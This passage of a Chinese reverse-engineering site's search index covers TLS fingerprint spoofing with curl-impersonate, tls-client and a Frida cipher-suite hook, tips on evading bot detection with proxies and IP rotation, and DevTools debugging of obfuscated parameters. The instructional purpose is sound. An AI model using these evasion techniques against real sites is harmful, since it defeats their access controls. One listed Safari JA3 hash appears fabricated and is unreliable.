指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#43-使用-go-ja3transport-库"},{"categories":null,"collections":null,"content":"第 5 步：验证伪装效果（5 分钟） 创建对比脚本 compare_ja3.sh： #!/bin/bash echo \"=== 原生 curl ===\" curl -s https://ja3er.com/json | jq -r '.ja3' echo \"\" echo \"=== curl-impersonate (Chrome) ===\" curl_chrome120 -s https://ja3er.com/json | jq -r '.ja3' echo \"\" echo \"=== Python requests ===\" python3 -c \"import requests; print(requests.get('https://ja3er.com/json').json()['ja3'])\" echo \"\" echo \"=== Python tls-client ===\" python3 \u003c\u003c 'EOF' import tls_client session = tls_client.Session(client_identifier=\"chrome_120\") print(session.get(\"https://ja3er.com/json\").json()['ja3']) EOF 运行对比： chmod +x compare_ja3.sh ./compare_ja3.sh 预期输出： === 原生 curl === 51c64c77e60f3980eea90869b68c58a8 === curl-impersonate (Chrome) === 579ccef312d18482fc42e2b822ca2430 === Python requests === 084c44f52a434da89e0b1bc98f8dd159 === Python tls-client === 579ccef312d18482fc42e2b822ca2430 实战示例 - 访问受保护的 API： import tls_client # 使用伪装的 TLS 指纹 session = tls_client.Session(client_identifier=\"chrome_120\") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' } response = session.get('https://api.example.com/protected', headers=headers) print(response.status_code) print(response.text) 伪装效果对比： 工具 User-Agent TLS 指纹 服务器响应 requests Chrome Python ❌ 403 Forbidden tls-client Chrome Chrome ✅ 200 OK ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:4:5","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#第-5-步验证伪装效果5-分钟"},{"categories":null,"collections":null,"content":"工作原理 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:5:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#工作原理"},{"categories":null,"collections":null,"content":"TLS 握手过程 客户端 服务器 | | |--- Client Hello ---------------→| | (JA3 指纹在此生成) | | | |←-- Server Hello ----------------| | (Server JA3S 指纹) | | | |--- Key Exchange --------------→| |←-- Finished -------------------| | | |←→ 加密数据传输 ←→| ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:5:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#tls-握手过程"},{"categories":null,"collections":null,"content":"JA3 指纹生成细节 原始字符串示例： 771,4865-4866-4867-49195-49199,0-23-65281-10-11,29-23-24,0 │ │ │ │ │ │ │ │ │ └─ EC Point Formats │ │ │ └─ Supported Groups (椭圆曲线) │ │ └─ Extensions │ └─ Cipher Suites └─ TLS 版本 (771 = TLS 1.2) JA4 指纹格式： t13d1516h2_174735a34e8a_b2149a751699 │ │ │ │ │ │ │ │ │ │ │ └─ Signature Algorithms 哈希 │ │ │ │ └─ Extensions 哈希（截断） │ │ │ └─ h2 = HTTP/2 │ │ └─ 16 个 Extensions │ └─ 15 个 Cipher Suites └─ TLS 1.3 可读性强（无需查表） ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:5:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#ja3-指纹生成细节"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:6:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#常见问题"},{"categories":null,"collections":null,"content":"❌ 问题 1: curl-impersonate 安装失败 症状：Homebrew 找不到 curl-impersonate 解决： # macOS/Linux: 手动下载预编译版本 wget https://github.com/lwthiker/curl-impersonate/releases/download/v0.6.1/curl-impersonate-v0.6.1.x86_64-linux-gnu.tar.gz tar -xzf curl-impersonate-*.tar.gz cd curl-impersonate-* sudo cp curl_* /usr/local/bin/ ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:6:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#-问题-1-curl-impersonate-安装失败"},{"categories":null,"collections":null,"content":"❌ 问题 2: tls-client 不支持某个浏览器版本 症状：ValueError: Unknown client identifier: chrome_999 解决：查看支持的客户端列表 import tls_client print(tls_client.settings.ClientIdentifiers) ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:6:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#-问题-2-tls-client-不支持某个浏览器版本"},{"categories":null,"collections":null,"content":"❌ 问题 3: 伪装后仍被检测 可能原因： HTTP/2 指纹不匹配 JA3 指纹是浏览器，但 HTTP 头顺序/值不对 解决：使用完整的浏览器模拟（包括 HTTP/2 特征） 行为特征异常 请求速度太快 缺少 Referer/Cookie 解决：添加延迟、模拟真实用户行为 IP 信誉问题 IP 被标记为数据中心/代理 解决：使用住宅代理或轮换 IP 设备指纹 服务器检测 Canvas 指纹、WebGL 指纹等 解决：使用真实浏览器自动化（Selenium + undetected-chromedriver） ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:6:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#-问题-3-伪装后仍被检测"},{"categories":null,"collections":null,"content":"❌ 问题 4: 如何在 Frida 中修改 TLS 指纹？ 场景：你想修改 Android App 的 TLS 指纹 方法：Hook Java 层 SSLSocket Java.perform(function () { var SSLSocket = Java.use(\"javax.net.ssl.SSLSocket\"); SSLSocket.setEnabledCipherSuites.implementation = function (suites) { console.log(\"[*] Original Cipher Suites:\", suites); // 修改为目标指纹加密套件 var customSuites = [ \"TLS_AES_128_GCM_SHA256\", \"TLS_AES_256_GCM_SHA384\", \"TLS_CHACHA20_POLY1305_SHA256\", ]; console.log(\"[*] ModifyAfter:\", customSuites); return this.setEnabledCipherSuites(customSuites); }; }); ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:6:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#-问题-4-如何在-frida-中修改-tls-指纹"},{"categories":null,"collections":null,"content":"延伸阅读 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:7:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#延伸阅读"},{"categories":null,"collections":null,"content":"相关配方 网络抓包 - 抓取 TLS 握手包 密码学分析 - 分析加密实现 JA3 指纹详解 - JA3 技术深入 JA4 指纹详解 - JA4+ 套件详解 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:7:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 curl-impersonate 文档 - https://github.com/lwthiker/curl-impersonate tls-client (Python) - https://github.com/FlorianREGAZ/Python-Tls-Client ja3transport (Go) - https://github.com/CUCyber/ja3transport ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:7:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#工具深入"},{"categories":null,"collections":null,"content":"在线资源 JA3 检测 - https://ja3er.com TLS 指纹检测 - https://tls.peet.ws JA3 数据库 - https://github.com/salesforce/ja3 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:7:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#在线资源"},{"categories":null,"collections":null,"content":"理论基础 TLS 协议详解 - TODO HTTP/2 指纹 - TODO ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:7:4","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#理论基础"},{"categories":null,"collections":null,"content":"快速参考 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:8:0","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#快速参考"},{"categories":null,"collections":null,"content":"常用工具对比 工具 语言 难度 特点 curl-impersonate Bash 最简单，完美模拟 tls-client Python 易用，支持多种浏览器 ja3transport Go 高性能，需要 Go 环境 requests + urllib3 Python 复杂，需深度定制 ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:8:1","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#常用工具对比"},{"categories":null,"collections":null,"content":"快速检测脚本 detect_ja3.sh： #!/bin/bash echo \"正在检测 TLS 指纹...\" echo \"\" URL=\"https://ja3er.com/json\" # 检测当前客户端 JA3=$(curl -s \"$URL\" | jq -r '.ja3') echo \"你的 JA3: $JA3\" # 查询已知指纹 echo \"\" echo \"常见客户端 JA3:\" echo \" Chrome 120: 579ccef312d18482fc42e2b822ca2430\" echo \" Firefox 121: 3b5074b1b5d032e5620f69f9f700ff0e\" echo \" Safari 17: 4e2d5f6c3e8f7a9b0c1d2e3f4a5b6c7d\" echo \" Python req: 084c44f52a434da89e0b1bc98f8dd159\" echo \" curl: 51c64c77e60f3980eea90869b68c58a8\" # 对比 if [ \"$JA3\" == \"579ccef312d18482fc42e2b822ca2430\" ]; then echo \"\" echo \"✅ 匹配: Chrome 120\" elif [ \"$JA3\" == \"084c44f52a434da89e0b1bc98f8dd159\" ]; then echo \"\" echo \"⚠️ 匹配: Python requests (容易被识别)\" else echo \"\" echo \"❓ 未知指纹\" fi ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:8:2","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#快速检测脚本"},{"categories":null,"collections":null,"content":"TLS 指纹伪装模板 browser_session.py： \"\"\" TLS 指纹伪装模板 \"\"\" import tls_client class BrowserSession: \"\"\"模拟浏览器会话\"\"\" PROFILES = { 'chrome': 'chrome_120', 'firefox': 'firefox_121', 'safari': 'safari_17_0', 'android': 'okhttp4_android_13' } def __init__(self, browser='chrome'): \"\"\"初始化会话 Args: browser: 浏览器类型 ('chrome', 'firefox', 'safari', 'android') \"\"\" identifier = self.PROFILES.get(browser, 'chrome_120') self.session = tls_client.Session( client_identifier=identifier, random_tls_extension_order=True ) self._set_headers(browser) def _set_headers(self, browser): \"\"\"设置对应 HTTP 头\"\"\" user_agents = { 'chrome': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'firefox': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0', 'safari': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15', 'android': 'Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36' } self.session.headers.update({ 'User-Agent': user_agents.get(browser, user_agents['chrome']), 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'DNT': '1', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' }) def get(self, url, **kwargs): \"\"\"发送 GET 请求\"\"\" return self.session.get(url, **kwargs) def post(self, url, **kwargs): \"\"\"发送 POST 请求\"\"\" return self.session.post(url, **kwargs) def verify_fingerprint(self): \"\"\"验证 TLS 指纹\"\"\" r = self.get('https://ja3er.com/json') return r.json() # 使用示例 if __name__ == '__main__': # 创建 Chrome 会话 browser = BrowserSession('chrome') # 验证指纹 print(\"验证 TLS 指纹...\") result = browser.verify_fingerprint() print(f\"JA3: {result['ja3']}\") print(f\"User-Agent: {result['User-Agent']}\") # 发送请求 response = browser.get('https://api.example.com/data') print(f\"\\n状态码: {response.status_code}\") ","date":"2024-11-04","objectID":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/:8:3","tags":["RSA","浏览器指纹","签名验证","Frida","SSL Pinning","Canvas指纹"],"title":"使用 TLS 指纹识别检测和绕过应用指纹","uri":"/reverse_engineering/android/01-recipes/network/tls_fingerprinting_guide/#tls-指纹伪装模板"},{"categories":null,"collections":null,"content":"动态参数分析 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:0:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#动态参数分析"},{"categories":null,"collections":null,"content":"概述 当静态代码混淆得像一团乱麻时，动态分析是我们唯一的出路。通过观察参数在运行时的变化，我们可以推导出生成逻辑。 动态分析的核心是观察数据流 —— 不要试图理解每一行混淆代码的语义，而是关注数据从哪里来、经过了什么处理、最后变成了什么。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:1:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Chrome DevTools 必需 浏览器开发者工具 调试技巧 必需 调试技巧与断点设置 JavaScript 执行机制 推荐 JavaScript 执行机制 Hook 技术 推荐 Hook 技术 💡 提示: 动态分析是对抗重度混淆代码的终极武器。当静态分析走不通时，通过观察运行时的数据流向，往往能快速找到关键逻辑。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:2:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#-前置知识"},{"categories":null,"collections":null,"content":"1. 堆栈跟踪 (Stack Trace) 分析 调用栈是程序执行的\"案发现场\"，是定位代码的第一手段。 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#1-堆栈跟踪-stack-trace-分析"},{"categories":null,"collections":null,"content":"1.1 查看调用栈的方法 方法 1：断点自动停下 在 Sources 面板打断点后，右侧 Call Stack 面板会显示完整调用链： generateSign (utils.js:1234) ↑ 调用者 sendRequest (api.js:567) ↑ 调用者 onClick (main.js:89) ↑ 调用者 (anonymous) (VM123:5) ← 事件监听器 方法 2：手动打印堆栈 在 Console 中任何位置执行： console.trace(\"当前调用栈\"); 输出类似： console.trace at generateSign (utils.js:1234) at sendRequest (api.js:567) at onClick (main.js:89) 方法 3：使用 Error 对象 const stack = new Error().stack; console.log(stack); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#11-查看调用栈的方法"},{"categories":null,"collections":null,"content":"1.1 查看调用栈的方法 方法 1：断点自动停下 在 Sources 面板打断点后，右侧 Call Stack 面板会显示完整调用链： generateSign (utils.js:1234) ↑ 调用者 sendRequest (api.js:567) ↑ 调用者 onClick (main.js:89) ↑ 调用者 (anonymous) (VM123:5) ← 事件监听器 方法 2：手动打印堆栈 在 Console 中任何位置执行： console.trace(\"当前调用栈\"); 输出类似： console.trace at generateSign (utils.js:1234) at sendRequest (api.js:567) at onClick (main.js:89) 方法 3：使用 Error 对象 const stack = new Error().stack; console.log(stack); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#方法-1断点自动停下"},{"categories":null,"collections":null,"content":"1.1 查看调用栈的方法 方法 1：断点自动停下 在 Sources 面板打断点后，右侧 Call Stack 面板会显示完整调用链： generateSign (utils.js:1234) ↑ 调用者 sendRequest (api.js:567) ↑ 调用者 onClick (main.js:89) ↑ 调用者 (anonymous) (VM123:5) ← 事件监听器 方法 2：手动打印堆栈 在 Console 中任何位置执行： console.trace(\"当前调用栈\"); 输出类似： console.trace at generateSign (utils.js:1234) at sendRequest (api.js:567) at onClick (main.js:89) 方法 3：使用 Error 对象 const stack = new Error().stack; console.log(stack); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#方法-2手动打印堆栈"},{"categories":null,"collections":null,"content":"1.1 查看调用栈的方法 方法 1：断点自动停下 在 Sources 面板打断点后，右侧 Call Stack 面板会显示完整调用链： generateSign (utils.js:1234) ↑ 调用者 sendRequest (api.js:567) ↑ 调用者 onClick (main.js:89) ↑ 调用者 (anonymous) (VM123:5) ← 事件监听器 方法 2：手动打印堆栈 在 Console 中任何位置执行： console.trace(\"当前调用栈\"); 输出类似： console.trace at generateSign (utils.js:1234) at sendRequest (api.js:567) at onClick (main.js:89) 方法 3：使用 Error 对象 const stack = new Error().stack; console.log(stack); ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#方法-3使用-error-对象"},{"categories":null,"collections":null,"content":"1.2 寻找\"断层\"技巧 现象: 调用栈中突然出现以下特征 VM123, eval → 动态生成的代码 l, e, f, t 等单字母函数名 → 混淆后的代码 \u003canonymous\u003e → 匿名函数（可能是立即执行函数 IIFE） 含义: 这通常意味着进入了混淆后的核心逻辑 操作: 在栈顶的第一个可读函数处打断点，然后 Step Into (F11) 进入内部 示例 Call Stack: generateSign (utils.js:1234) ← 可读，从这里开始调试 ↑ t (VM123:5) ← 混淆代码 ↑ e (VM123:2) ← 混淆代码 ↑ onClick (main.js:89) ← 可读 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:2","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#12-寻找断层技巧"},{"categories":null,"collections":null,"content":"1.3 利用 Initiator (发起者) Chrome 的 Network 面板有一列 Initiator，显示请求的来源。 操作步骤: Network 面板找到目标请求 查看 Initiator 列 点击蓝色链接 → 直接跳转到发包代码 Initiator 类型: 类型 含义 示例 Script JS 代码发起 api.js:567 Parser HTML 解析器加载 \u003cimg src=\"...\"\u003e Redirect 重定向 301/302 Other 其他（扩展、DevTools） - 高级功能: Request Call Stack 开启: DevTools Settings → Experiments → Enable async stack traces 效果: 可以看到异步回调前的调用栈（如 setTimeout, Promise.then） ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:3:3","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#13-利用-initiator-发起者"},{"categories":null,"collections":null,"content":"2. 断点技术 ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:0","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#2-断点技术"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#21-断点类型"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#普通断点-line-breakpoint"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#条件断点-conditional-breakpoint"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#日志断点-logpoint"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 只在 userId 等于 123 时暂停 userId === 123; // 只在第 10 次循环时暂停 i === 10; // 只在参数包含特定字符串时暂停 params.includes(\"target\"); 日志断点 (Logpoint) 右键行号 → “Add logpoint” 应用场景: 不暂停，只打印日志（相当于 console.log 但不修改源码） // 语法（不需要写 console.log） \"userId:\", userId, \"timestamp:\", timestamp; DOM 断点 (DOM Breakpoint) 在 Elements 面板右键元素 → “Break on”: subtree modifications: 子元素被修改 attribute modifications: 属性被修改（如 class, style） node removal: 元素被删除 应用场景: 追踪是谁修改了某个 DOM 元素 XHR/Fetch 断点 Sources 面板 → XHR/fetch Breakpoints → 添加 URL 关键字 应用场景: 在发送包含 /api/login 的请求前自动断点 关键字: /api/login 事件监听器断点 (Event Listener Breakpoint) Sources 面板 → Event Listener Breakpoints → 勾选事件类型 常用事件: Mouse → click, mousedown Keyboard → keydown, keypress Timer → setTimeout, setInterval ","date":"2024-11-01","objectID":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/:4:1","tags":["Web","RSA","Native层","签名验证","Frida","代理池"],"title":"动态参数分析","uri":"/reverse_engineering/web/03-basic-recipes/dynamic_parameter_analysis/#dom-断点-dom-breakpoint"},{"categories":null,"collections":null,"content":"2.1 断点类型 普通断点 (Line Breakpoint) 点击行号即可，代码执行到此行时暂停。 条件断点 (Conditional Breakpoint) 右键行号 → “Add conditional breakpoint” 应用场景: 只在特定条件下暂停 // 